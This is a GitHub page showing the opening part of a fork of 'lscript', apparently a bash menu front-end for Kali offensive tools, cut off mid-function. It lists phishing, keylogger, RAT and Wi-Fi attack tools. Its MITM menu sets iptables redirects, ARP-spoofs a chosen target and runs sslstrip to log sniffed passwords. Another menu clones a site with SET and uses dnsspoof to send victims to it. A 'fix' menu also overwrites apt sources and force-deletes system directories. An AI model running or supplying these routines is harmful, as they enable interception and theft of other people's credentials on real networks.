forked from arismelachroinos/lscript
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathl
More file actions
9877 lines (9825 loc) · 216 KB
/
l
File metadata and controls
9877 lines (9825 loc) · 216 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#! /bin/bash
# set -x
VERSION=2.1.6.0.0
#Number of tools with keyboard shortcut support
HOWMANYTOOLS=98
BACKL="0"
DONATIONS=13
LATESTCHANGELOGLINES=14
cd
#############DEFAULTS###############
function defaults_l
{
#path for lscript
LPATH="/root/lscript"
export LPATH
#path for keyboard shortcuts
KSPATH=""$LPATH"/ks"
export KSPATH
#making sure the kspath is set
if [[ ! -d "$KSPATH" ]]
then
mkdir "$KSPATH"
fi
#wififb file
wififbfile=""$LPATH"/wififb.txt"
wififbfileall=""$LPATH"/wififball.txt"
wififbpassfile=""$LPATH"/wififbpasswords.txt"
wififbpassfileall=""$LPATH"/wififbpasswordsall.txt"
export wififbfile
export wififbfileall
export wififbpassfile
export wififbpassfileall
#ALFA SUPPORT SETTING
if [[ -f "$LPATH"/settings/AWUS036ACH.txt ]]
then
read ALFA < "$LPATH"/settings/AWUS036ACH.txt
else
ALFA="no"
fi
#yellow start
YS="\e[1;33m"
#blue start
BS="\e[0;34m"
#color end
CE="\e[0m"
#red start
RS="\e[1;31m"
#black start
BLS="\e[0;30m"
#dark gray start
DGYS="\e[1;30m"
#light blue start
LBS="\e[1;34m"
#green start
GNS="\e[0;32m"
#light green start
LGNS="\e[1;32m"
#cyan start
CYS="\e[0;36m"
#light cyan start
LCYS="\e[1;36m"
#light red start
DRS="\e[0;31m"
#purple start
PS="\e[0;35m"
#light purple start
LPS="\e[1;35m"
#brown start
BRS="\e[0;33m"
#light gray start
LGYS="\e[0;37m"
#white start
WHS="\e[1;37m"
#setting custom color for logo
if [[ -f "$LPATH"/settings/logocolor.txt ]]
then
read COL < "$LPATH"/settings/logocolor.txt
else
COL="$RS"
fi
#tools
toolarray=(
"fluxion" "sniffer" "wifite" "wifiphisher" "morpheus" "osrframework" "hakku" "trity" "cupp" "dracnmap" "fern" "kickthemout" "ghostphisher" "theeye" "xerxes"
"mdk3" "katana" "airgeddon" "4nonimizer" "beelogger" "ezsploit" "pupy" "zirikatu" "wifiautopwner" "bully" "anonsurf" "anonym8" "thefatrat" "angryip" "sniper"
"recondog" "redhawk" "winpayloads" "chaos" "routersploit" "infoga" "nwatch" "eternalscanner" "eaphammer" "dagon" "lalin" "knockmail" "kwetza" "ngrok" "netdiscover"
"websploit" "openvas" "shellter" "geany" "bleachbit" "vmr" "hashbuster" "findsploit" "howdoi" "operative" "netattack2" "koadic" "empire" "meterpreter_paranoid_mode"
"dropit_frmw" "wifi_pumpkin" "veil" "leviathan" "fake_image" "avet" "gloom" "arcanus" "msfpc" "morphhta" "lfi" "unibyav" "demiguise" "dkmc" "sechub" "beef" "mitmf"
"fsociety" "arp_scan" "netool" "sqlmap" "patator" "zeus" "evil_droid" "nosqlmap" "eggshell" "zerodoor" "cromos" "yuki-chan" "socialfish" "autosploit" "blazy"
"striker" "hyprpulse" "instaburst" "instagram-py" "datasploit" "sitebroker" "enigma"
)
#setting frequent stings
YNYES="("$YS"y"$CE"/"$YS"n"$CE")("$YS"Enter"$CE"=yes)"
YNNO="("$YS"y"$CE"/"$YS"n"$CE")("$YS"Enter"$CE"=no)"
YNONLY="("$YS"y"$CE"/"$YS"n"$CE")"
PAKT="Press "$YS"any key$CE to"
PAKTC="Press "$YS"any key$CE to continue..."
PAKTGB="Press "$YS"any key$CE to go back..."
TNI=""$RS"Tool is not installed. To install it type '"$CE""$YS"install"$CE""$RS"'."$CE""
#code to read from keyboard without return
READAK="read -n 1"
#default MAC when starting monitor
DEFMAC="00:11:22:33:44:55"
wififb="wififb"
}
##############FUNCTIONS#############
function finish
{
echo -e ""$RS"Hard kill detected.."$CE""
}
function dash_calc
{
size=${#TERMINALTITLE}
calc=$(( 65-size ))
calc=$(( calc/2 ))
numcalc=1
DASHESN="-"
while [ $numcalc != $calc ]
do
DASHESN=""$DASHESN"-"
numcalc=$(( numcalc+1 ))
done
echo -e "$DASHESN"$RS"$TERMINALTITLE"$CE"$DASHESN"
}
function managed_spaces
{
size=${#WLANN}
calc=$(( 11-size ))
numcalc=1
SPACESN=" "
while [ $numcalc != $calc ]
do
SPACESN=""${SPACESN}" "
numcalc=$(( numcalc+1 ))
done
}
function monitor_spaces
{
size=${#WLANNM}
calc=$(( 11-size ))
numcalc=1
SPACESM=" "
while [ $numcalc != $calc ]
do
SPACESM=""${SPACESM}" "
numcalc=$(( numcalc+1 ))
done
}
function check_wlans
{
CC=$WLANN
WLANCHECKING=$(ifconfig | grep "$WLANN" )
#~ WLANCHECKING=$(ifconfig | awk -v c1="$CC" '$0 ~ c1 {print}')
CC=$WLANNM
WLANMCHECKING=$(ifconfig | grep "$WLANNM" )
#~ WLANMCHECKING=$(ifconfig | awk -v c1="$CC" '$0 ~ c1 {print}')
}
function banner
{
check_wlans
echo -e ""
echo -e "$COL ██╗ █████╗ ███████╗██╗ ██╗$CE v$VERSION"
echo -e "$COL ██║ ██╔══██╗╚══███╔╝╚██╗ ██╔╝$CE"
echo -e "$COL ██║ ███████║ ███╔╝ ╚████╔╝ $CE by "$COL"ARIS MELACHROINOS$CE"
echo -e "$COL ██║ ██╔══██║ ███╔╝ ╚██╔╝ $CE"
echo -e "$COL The ███████╗██║ ██║███████╗ ██║ script$CE"
echo -e "$COL ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ $CE"
echo -e ""$YS" 9"$CE") TOOLS"
echo "Choose: "
read -e YORNAA
#~ echo "$YORNNA"
#~ history -s "$YORNNA"
clear
}
function reinstall_tools
{
while true
do
clear
#counting the tools
TOOLSNUM=30
THIRDTOOLS=$((TOOLSNUM/3+1))
#number for 2nd column
CLMN2=$((THIRDTOOLS+1))
CLMN2TOOLS=$((TOOLSNUM/3+1))
#number for 3rd column
CLMN3=$((THIRDTOOLS+THIRDTOOLS+1))
CLMN3TOOLS=$((THIRDTOOLS*2))
echo -e "TOOLSNUM="$TOOLSNUM
read XYZ
#alphabetically sort tools
readarray -t toolarraysorted < <(for a in "${toolarray[@]}"; do echo "$a"; done | sort)
echo -e ""$BS"Select out of $TOOLSNUM tools to install/update please:"$CE""
#set colour of selected
SEL="$YS"
n=0
while [[ "$n" -lt "$THIRDTOOLS" ]]
do
#start echoing from number 1 instead of number 0 (first array)
k=$((n+1))
#fixing the spaces to sort output better
if [[ "$k" -le 9 ]]
then
m=" "$k""
elif [[ "$k" -ge 10 && "$k" -le 99 ]]
then
m=" "$k""
else
m="$k"
fi
#calculating how many spaces needed for correct output of COL2
size=${#toolarraysorted["$n"]}
calc=$(( 35-size ))
numcalc=1
SPACES1=""
while [[ "$numcalc" != "$calc" ]]
do
SPACES1=""${SPACES}" "
numcalc=$(( numcalc+1 ))
done
COL1=""
COL2=""
COL3=""
if [[ "${selected["$n"]}" == 1 ]]
then
COL1="$SEL"
fi
if [[ "${selected["$CLMN2TOOLS"]}" == 1 ]]
then
COL2="$SEL"
fi
if [[ "${selected["$CLMN3TOOLS"]}" == 1 ]]
then
COL3="$SEL"
fi
if [[ "${toolarraysorted["$CLMN2TOOLS"]}" == "" ]]
then
echo -e ""$YS"${m}"$CE") "$COL1""${toolarraysorted["$n"]}""$CE""
else
if [[ "${toolarraysorted["$CLMN3TOOLS"]}" == "" ]]
then
echo -e ""$YS"${m}"$CE") "$COL1""${toolarraysorted["$n"]}""$CE"${SPACES1}"$YS""$CLMN2""$CE") "$COL2""${toolarraysorted["$CLMN2TOOLS"]}""$CE""
else
echo -e ""$YS"${m}"$CE") "$COL1""${toolarraysorted["$n"]}""$CE"${SPACES1}"$YS""$CLMN2""$CE") "$COL2""${toolarraysorted["$CLMN2TOOLS"]}""$CE"${SPACES2}"$YS""$CLMN3""$CE") "$COL3""${toolarraysorted["$CLMN3TOOLS"]}""$CE""
fi
fi
n=$((n+1))
CLMN2=$((CLMN2+1))
CLMN2TOOLS=$((CLMN2TOOLS+1))
CLMN3=$((CLMN2+1))
CLMN3TOOLS=$((CLMN3TOOLS+1))
done
echo -e " "$YS"b"$CE") Go back"
echo -e " "$YS"s"$CE") Start installing selected tools"
echo -e " "$YS"r"$CE") Reset selection"
if [[ "$NOCONFIRM" == 1 ]]
then
echo -e " "$YS"n"$CE") "$YS"No confirmation (On)"$CE""
else
echo -e " "$YS"n"$CE") No confirmation (Off)"
fi
echo -e " "$YS"0"$CE") Exit"
echo -e " Choose: "
read ST
if [[ "$ST" == "b" || "$ST" == "back" ]]
then
clear
break
elif [[ "$ST" == 0 ]]
then
exit
elif [[ "$ST" == 00 ]]
then
exec bash $0
elif [[ "$ST" == "r" ]]
then
p=0
while [[ "$p" -le "$TOOLSNUM" ]]
do
selected["$p"]=0
p=$((p+1))
done
elif [[ "$ST" == "s" ]]
then
z=0
HOWMANYSELECTED=0
while [[ "$z" -lt "$TOOLSNUM" ]]
do
if [[ ${selected["$z"]} == 1 ]]
then
HOWMANYSELECTED=$((HOWMANYSELECTED+1))
toolselected["$HOWMANYSELECTED"]=${toolarraysorted["$z"]}
fi
z=$((z+1))
done
if [[ "$HOWMANYSELECTED" == 0 ]]
then
echo -e ""$RS"No tools selected"$CE""
sleep 2
continue
fi
j=1
while [[ "$j" -le "$HOWMANYSELECTED" ]]
do
clear
echo -e ""$YS"Installing "${toolselected["$j"]}""$CE"("$YS"$j"$CE"/"$YS"$HOWMANYSELECTED"$CE")"
sleep 1
command="install_"${toolselected["$j"]}""
$command
j=$((j+1))
done
p=0
while [[ "$p" -le "$TOOLSNUM" ]]
do
selected["$p"]=0
p=$((p+1))
done
NOCONFIRM=0
echo -e "$PAKTGB"
$READAK
elif [[ "$ST" == "n" ]]
then
if [[ "$NOCONFIRM" != 1 ]]
then
NOCONFIRM=1
else
NOCONFIRM=0
fi
elif [[ ! "$ST" -ge 1 ]]
then
continue
else
STF=$((ST-1))
if [[ "${selected["$STF"]}" == 1 ]]
then
selected["$STF"]=0
else
selected["$STF"]=1
fi
fi
done
}
function errors_menu
{
while true
do
clear
TERMINALTITLE="ERRORS"
dash_calc
printf '\033]2;ERRORS\a'
echo -e ""$YS" 1"$CE") Fix no audio issue"
echo -e ""$YS" 2"$CE") No output in wash"
echo -e ""$YS" 3"$CE") No full screen"
echo -e ""$YS" 4"$CE") Error constructing proxy for org.gnome.Terminal"
echo -e ""$YS" 5"$CE") Error starting apache2 service"
echo -e ""$YS" 6"$CE") Errors when apt-get update"
echo -e ""$YS" 7"$CE") Errors when creating a payload with Winpayloads"
echo -e ""$YS" 8"$CE") Complete fix for apache2 service failed to start"
echo -e ""$YS" 9"$CE") Cannot capture handshake-pyrit verification always bad"
echo -e ""$YS" b"$CE") Go back"
echo -e ""$YS" 0"$CE") EXIT"
echo -e " Choose: "
read ERRS
clear
if [[ "$ERRS" = "1" ]]
then
clear
echo -e "Trying to get you some audio..."
sleep 2
clear
echo -e "Press "$YS"y"$CE" if/when prompted"
sleep 3
clear
echo -e "Installing pulseaudio......."
sleep 1
apt-get pulseaudio
echo -e "Enabling pulseaudio......."
sleep 1
systemctl --user enable pulseaudio && systemctl --user start pulseaudio
clear
echo -e "Done!"
sleep 1
clear
echo -e "I mean...Try to see if you have audio."
sleep 3
echo -e " "
echo -e "That's all i can do :/"
sleep 2
echo -e " "
echo -e "If it wasn't fix , then try rebooting"
elif [[ "$ERRS" = "2" ]]
then
clear
echo -e "Ok...Lets try to fix this..."
sleep 1
mkdir /etc/reaver
echo -e "It seems to be fixed."
echo -e "Enter you interface"
read INTWASH
echo -e "Press "$YS"many key"$CE" to test wash"
echo -e "Also try "wash -i wlan0mon -a" to display all networks"
wash -i $INTWASH
elif [[ "$ERRS" = "3" ]]
then
apt-get install -y open-vm-tools-desktop fuse
echo -e "Restart your vistual machine..."
sleep 2
echo -e "$PAKTGB"
$READAK
elif [[ "$ERRS" = "4" ]]
then
locale-gen
localectl set-locale LANG="en_US.UTF-8"
sleep 2
echo -e "Reboot your system now"
sleep 3
elif [[ "$ERRS" = "5" ]]
then
service nginx stop
echo -e "I think i fixed it. Try again: service apache2 start "
sleep 5
elif [[ "$ERRS" = "6" ]]
then
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" > /etc/apt/sources.list
rm -r -f /etc/apt/sources.list.d/*
echo -e "Try apt-get update again. That's all i can do."
sleep 3
elif [[ "$ERRS" = "7" ]]
then
rm -f -r /usr/local/lib/python2.7/dist-packages/Crypto
echo -e "Error was fixed!"
echo -e "$PAKTGB"
$READAK
elif [[ "$ERRS" = "8" ]]
then
apt-get -y remove nginx
apt-get -y remove nginx-full
apt-get -y remove nginx-common
apt-get -y autoremove
clear
echo -e "Error was fixed!"
echo -e "$PAKTGB"
$READAK
elif [[ "$ERRS" = "9" ]]
then
wget -O /tmp/scapy2.3.2.tar.gz https://pypi.python.org/packages/6d/72/c055abd32bcd4ee6b36ef8e9ceccc2e242dea9b6c58fdcf2e8fd005f7650/scapy-2.3.2.tar.gz; sudo pip2 install /tmp/scapy2.3.2.tar.gz
clear
echo -e "Error was fixed!"
echo -e "$PAKTGB"
$READAK
elif [[ "$ERRS" = "back" || "$ERRS" = "b" || "$ERRS" = 00 ]]
then
BACKL="1"
break
elif [[ "$ERRS" = "0" ]]
then
clear
exit
else
clear
echo -e "Not a valid option...."
sleep 2
fi
done
}
function keyboard_shortcuts
{
if [[ ! -d ""$KSPATH"" ]]
then
mkdir "$KSPATH"
fi
while true
do
TERMINALTITLE="KEYBOARD SHORTCUTS"
dash_calc
printf '\033]2;KEYBOARD SHORTCUTS\a'
echo -e ""$YS" 1"$CE") Tools"
echo -e ""$YS" 2"$CE") See hidden shortcuts"
echo -e ""$YS" b"$CE") Go back"
#~ echo -e ""$YS"00"$CE") Main menu"
echo -e ""$YS" 0"$CE") EXIT"
read KS
clear
if [[ "$KS" = "1" ]]
then
while true
do
echo -e "Available shortcuts: "$YS"reset"$CE") Delete all shortcuts"
nn=1
#start sorting out all the available shortcuts
HOWADD=$(( HOWMANYTOOLS + 1 ))
while [ "$nn" != "$HOWADD" ]
do
listshortcuts
#adding a space where needed on the output,so it will be sorted correctly
if [[ "$nn" -lt "10" ]]
then
n=" $nn"
else
n="$nn"
fi
if [[ ! -f ""$KSPATH"/"$TITLE"/"$TITLE".txt" ]]
then
echo -e ""$YS""$n""$CE") "$TITLE""
else
read KSKS < "$KSPATH"/"$TITLE"/"$TITLE"ks.txt
if [[ "$KSKS" = "" ]]
then
KSKS="ERROR(fix=recreate the shortcut)"
else
read currentks < "$KSPATH"/"$TITLE"/"$TITLE"ks.txt
size=${#TITLE}
calc=$(( 35-size ))
numcalc=1
SPACES=""
while [ $numcalc != $calc ]
do
SPACES=""$SPACES"_"
numcalc=$(( numcalc+1 ))
done
#~ read SPACES < "$KSPATH"/spaces.txt
echo -e ""$YS""$n""$CE") "$TITLE""$SPACES""$KSKS""
fi
fi
nn=$(( nn+1 ))
done
echo -e ""$YS" b"$CE") Go back"
#echo -e ""$YS" 0"$CE") EXIT"
echo -e "Choose: "
#nn=""
read nn
clear
listshortcuts
if [[ "$nn" = "" ]]
then
continue
fi
if [[ "$nn" = "back" || "$nn" = "b" ]]
then
clear
break
elif [[ "$nn" = "0" ]]
then
clear
exit
elif [[ "$nn" = "00" ]]
then
exec bash "$0"
elif [[ "$nn" = "reset" ]]
then
rm -r "$KSPATH"/*
elif [[ "$nn" -le "$HOWMANYTOOLS" ]]
then
createshortcut
fi
done
elif [[ "$KS" = "2" ]]
then
hidden_shortcuts
elif [[ "$KS" = "back" || "$KS" = "b" ]]
then
BACKL="1"
clear
break
elif [[ "$KS" = "0" ]]
then
clear
exit
elif [[ "$KS" = "00" ]]
then
exec bash "$0"
fi
done
}
function mitm_menu
{
clear
TERMINALTITLE="MITM"
dash_calc
printf '\033]2;MITM\a'
echo -e ""$YS" 1"$CE") Password sniff-sslstrip"
echo -e ""$YS" 2"$CE") SET + mitm + dnsspoofing"
echo -e ""$YS" b"$CE") Go back"
echo -e ""$YS" 0"$CE") EXIT"
read MITMATT
clear
if [[ "$MITMATT" = "1" ]]
then
while true
do
clear
echo -e "------------------------------"$RS"MITM"$CE"-------------------------------"
echo -e ""$YS" 1"$CE") Enable ip_forward "$YS"d1"$CE") Disable ip_forward "
echo -e ""$YS" 2"$CE") Set iptables"
echo -e ""$YS" 3"$CE") Scan and select target IP "$YS"33"$CE") I have scaned"
echo -e ""$YS" 4"$CE") Open the sslstrip log" # "$YS"44"$CE") Filter credentials"
echo -e ""$YS" b"$CE") Go back"
echo -e ""$YS" 0"$CE") EXIT"
echo -e "Choose: "
read -e MITMCH
if [[ "$MITMCH" = "1" ]]
then
echo "1" > /proc/sys/net/ipv4/ip_forward
echo -e "Done."
sleep 1
elif [[ "$MITMCH" = "d1" ]]
then
echo "0" > /proc/sys/net/ipv4/ip_forward
echo -e "Done."
sleep 1
elif [[ "$MITMCH" = "2" ]]
then
clear
echo -e "Redirect tcp port 80 to port("$YS"Enter"$CE"=8080):"
read PORTTCP
if [[ "$PORTTCP" = "" ]]
then
PORTTCP="8080"
fi
clear
echo -e "Redirect udp port 40 to port("$YS"Enter"$CE"=40):"
read PORTUDP
if [[ "$PORTUDP" = "" ]]
then
PORTUDP="40"
fi
iptables --flush
iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $PORTTCP
iptables -t nat -A PREROUTING -p udp --destination-port 40 -j REDIRECT --to-port $PORTUDP
echo -e "Done."
sleep 1
elif [[ "$MITMCH" = "3" ]]
then
clear
route -n
echo -e ""
echo -e ""
echo -e "Enter your gateway(prefer "$ETH" gateway):"
read GATENM
echo -e ""
echo -e "Enter the gateway's interface("$YS"Enter"$CE"="$ETH"):"
read GATEINT
if [[ "$GATEINT" = "" ]]
then
GATEINT="$ETH"
fi
while true
do
clear
nmap -sP "$GATENM"/24
echo -e ""
echo -e ""
echo -e "Enter your target IP:"
read TARGIP
if [[ "$TARGIP" = "r" ]]
then
continue
else
break
fi
done
echo -e ""
echo -e "$PAKTC"
$READAK
export GATENM
export GATEINT
export TARGIP
export PORTTCP
export PORTUDP
cd "$LPATH"/ls
gnome-terminal --geometry 60x12+0+999999 -e ./l131.sh
gnome-terminal --geometry 60x20+999999+999999 -e ./l133.sh
gnome-terminal --geometry 60x20+999999+0 -e ./l132.sh
sslstrip -l $PORTTCP -w /root/sslstrip.log
echo -e "$PAKTGB"
$READAK
continue
elif [[ "$MITMCH" = "33" ]]
then
clear
echo -e "Enter your gateway(prefer "$ETH" gateway):"
read GATENM
echo -e ""
echo -e "Enter the gateway's interface("$YS"Enter"$CE"="$ETH"):"
read GATEINT
if [[ "$GATEINT" = "" ]]
then
GATEINT="$ETH"
fi
clear
echo -e "Enter your target IP("$YS"r"$CE"=rescan):"
read TARGIP
echo -e ""
echo -e "$PAKTC"
$READAK
export GATENM
export GATEINT
export TARGIP
export PORTTCP
export PORTUDP
cd "$LPATH"/ls
gnome-terminal --geometry 60x25+0+999999 -e ./l131.sh
gnome-terminal --geometry 60x25+999999+0 -e ./l132.sh
gnome-terminal --geometry 60x25+999999+999999 -e ./l133.sh
sslstrip -l $PORTTCP -w /root/sslstrip.log
echo -e "$PAKTGB"
$READAK
continue
elif [[ "$MITMCH" = "4" ]]
then
leafpad /root/sslstrip.log
#~ elif [[ "$MITMCH" = "44" ]]
#~ then
elif [[ "$MITMCH" = "back" || "$MITMCH" = "b" ]]
then
clear
break
elif [[ "$MITMCH" = "00" ]]
then
clear
exec bash "$0"
elif [[ "$MITMCH" = "0" ]]
then
clear
exit
fi
done
elif [[ "$MITMATT" = "2" ]]
then
while true
do
clear
echo -e "------------------------------"$RS"MITM"$CE"-------------------------------"
echo -e ""$YS" 1"$CE") Enable ip_forward "$YS"d1"$CE") Disable ip_forward"
echo -e ""$YS" 2"$CE") Scan and select target IP "$YS"22"$CE") I have scaned"
echo -e ""$YS" 3"$CE") Start ARPspoofing"
#~ echo -e ""$YS" 4"$CE") Start apache2 service "$YS"d4"$CE") Stop apache2 service"
echo -e ""$YS" 4"$CE") Start SEToolkit"
echo -e ""$YS" 5"$CE") Start DNSspoofing"
echo -e ""$YS" b"$CE") Go back"
echo -e ""$YS" 0"$CE") EXIT"
echo -e "Choose: "
read -e MITMSET
clear
if [[ "$MITMSET" = "1" ]]
then
echo "1" > /proc/sys/net/ipv4/ip_forward
echo -e "Done."
sleep 1
elif [[ "$MITMSET" = "d1" ]]
then
echo "0" > /proc/sys/net/ipv4/ip_forward
echo -e "Done."
sleep 1
elif [[ "$MITMSET" = "2" ]]
then
route -n
echo -e ""
echo -e ""
echo -e "Enter your gateway:"
read GATENM
echo -e ""
echo -e "Enter the gateway's interface(e.g: wlan0):"
read GATEINT
while true
do
clear
nmap -sP "$GATENM"/24
echo -e ""
echo -e ""
echo -e "Enter your target IP("$YS"r"$CE"=rescan):"
read TARGIP
if [[ "$TARGIP" = "r" ]]
then
continue
else
break
fi
done
elif [[ "$MITMSET" = "22" ]]
then
echo -e "Enter your gateway:"
read GATENM
echo -e ""
echo -e "Enter the gateway's interface(e.g: wlan0):"
read GATEINT
clear
echo -e "Enter your target IP:"
read TARGIP
elif [[ "$MITMSET" = "3" ]]
then
export PAKTC
export GATEINT
export TARGIP
export GATENM
cd "$LPATH"/ls
gnome-terminal --geometry 60x15+999999+0 -e ./l132.sh
gnome-terminal --geometry 60x15+999999+999999 -e ./l133.sh
#~ elif [[ "$MITMSET" = "4" ]]
#~ then
#~ service apache2 start
#~ elif [[ "$MITMSET" = "d4" ]]
#~ then
#~ service apache2 stop
elif [[ "$MITMSET" = "4" ]]
then
echo -e "Clone a website to one of the following IP(s):"
ip addr | grep '/24' | awk -F "inet " {'print $2'} | cut -d '/' -f1
echo -e "$PAKTC"
$READAK
gnome-terminal --geometry 66x40+999999+0 -e setoolkit
elif [[ "$MITMSET" = "5" ]]
then
echo -e "Making you a hosts.txt file"
echo -e ""
echo -e "Enter your IP address that you started the server:"
echo -e "One of this/these:"
ip addr | grep '/24' | awk -F "inet " {'print $2'} | cut -d '/' -f1
read -e SERVIP
echo -e "Enter the interface of that IP(e.g: wlan0):"
read -e INTIP
if [[ -f ""$LPATH"/HOSTS/hosts.txt" ]]
then
rm "$LPATH"/HOSTS/hosts.txt
fi
mkdir "$LPATH"/HOSTS
clear
while true
do
clear
echo -e "Enter the URL you want to redirect your IP from(e.g: thisis.myfakesite.com):"
read -e URL
echo "$SERVIP $URL" >> "$LPATH"/HOSTS/hosts.txt
sleep 0.2
clear
echo -e "Add another one as well?"$YNYES""
read -e ANOTHERHOST
if [[ "$ANOTHERHOST" = "n" ]]
then
break
fi
done
clear
echo -e "Starting dnsspoof..."
echo -e "$PAKTC"
$READAK
export INTIP
xterm -geometry 60x15+0+999999 -e 'dnsspoof -i $INTIP -f "$LPATH"/HOSTS/hosts.txt'
elif [[ "$MITMSET" = "back" || "$MITMSET" = "b" ]]
then
clear
break
elif [[ "$MITMSET" = "00" ]]
then
clear
exec bash "$0"
elif [[ "$MITMSET" = "0" ]]
then
clear
exit
fi
done
elif [[ "$MITMATT" = "back" || "$MITMATT" = "b" ]]
then
BACKL="1"
break
elif [[ "$MITMATT" = "00" ]]
then
clear
exec bash "$0"
elif [[ "$MITMATT" = "0" ]]
then
clear
exit
fi
}
function dagon_script
{
while true
do
clear
TERMINALTITLE="DAGON"
dash_calc
printf '\033]2;DAGON\a'
if [[ "$HASH" = "" || "$HASH" = "\e[1;31mNONE\e[0m" ]]
then
HASH="\e[1;31mNONE\e[0m"
OK=0
fi
if [[ "$CORV" = "" ]]
then
CORV="crack"
fi
echo -e "-----------------Basic options-----------------"
echo -e ""$YS" 1"$CE") Specify your hash(es) CURRENT:$HASH"
echo -e ""$YS" 2"$CE") Crack/verify CURRENT:$CORV"
if [[ -f /root/lscript/hashlog.txt ]]
then
echo -e ""$YS" 3"$CE") View your last log"
else
echo -e ""$RS" 3"$CE") View your last log"
fi
echo -e "--------------------Optional--------------------"
if [[ "$DICTATTACK" = "" ]]
then
DICTATTACK="OFF"
fi
echo -e ""$YS" 4"$CE") Dictionary attack CURRENT:$DICTATTACK"
if [[ "$DICT" = "" && $DICTATTACK = "OFF" ]]
then
DICT="OFF"
elif [[ "$DICT" = "\e[1;31mNONE\e[0m" && $DICTATTACK = "OFF" ]]
then
DICT="OFF"
elif [[ "$DICT" = "OFF" && $DICTATTACK = "ON" ]]
then
DICT="\e[1;31mNONE\e[0m"
elif [[ "$DICT" = "" && $DICTATTACK = "ON" ]]
then
DICT="\e[1;31mNONE\e[0m"
fi
if [[ "$DICTTYPE" = 1 ]]
then
DICT="$DICTPATH"
elif [[ "$DICTTYPE" = 2 ]]
then
DICT="multiple"
elif [[ "$DICTTYPE" = 3 ]]
then
DICT="$DICTPATH folder"
fi
echo -e " "$YS"5"$CE") Specify dictionary/ies CURRENT:$DICT"
echo -e "------------------------------------------------"
echo -e ""$YS" b"$CE") Go back "$YS"update"$CE") Update dagon"
echo -e ""$YS"start"$CE") Start"
echo -e "Choose: "
read DAGON
clear
if [[ "$DAGON" = "back" || "$DAGON" = "b" ]]
then
break
elif [[ "$DAGON" = "4" ]]
then
if [[ "$DICTATTACK" = "OFF" ]]
then
DICTATTACK="ON"
else
DICTATTACK="OFF"
fi
elif [[ "$DAGON" = "update" ]]
then
cd /root/dagon
python dagon.py --update
sleep 3
elif [[ "$DAGON" = "start" ]]
then
if [[ "$HASH" = "" || "$HASH" = "\e[1;31mNONE\e[0m" ]]
then
echo -e ""$RS"No hash selected."$CE""
sleep 3
fi
if [[ "$DICTATTACK" = "ON" && $DICT = "\e[1;31mNONE\e[0m" ]]
then
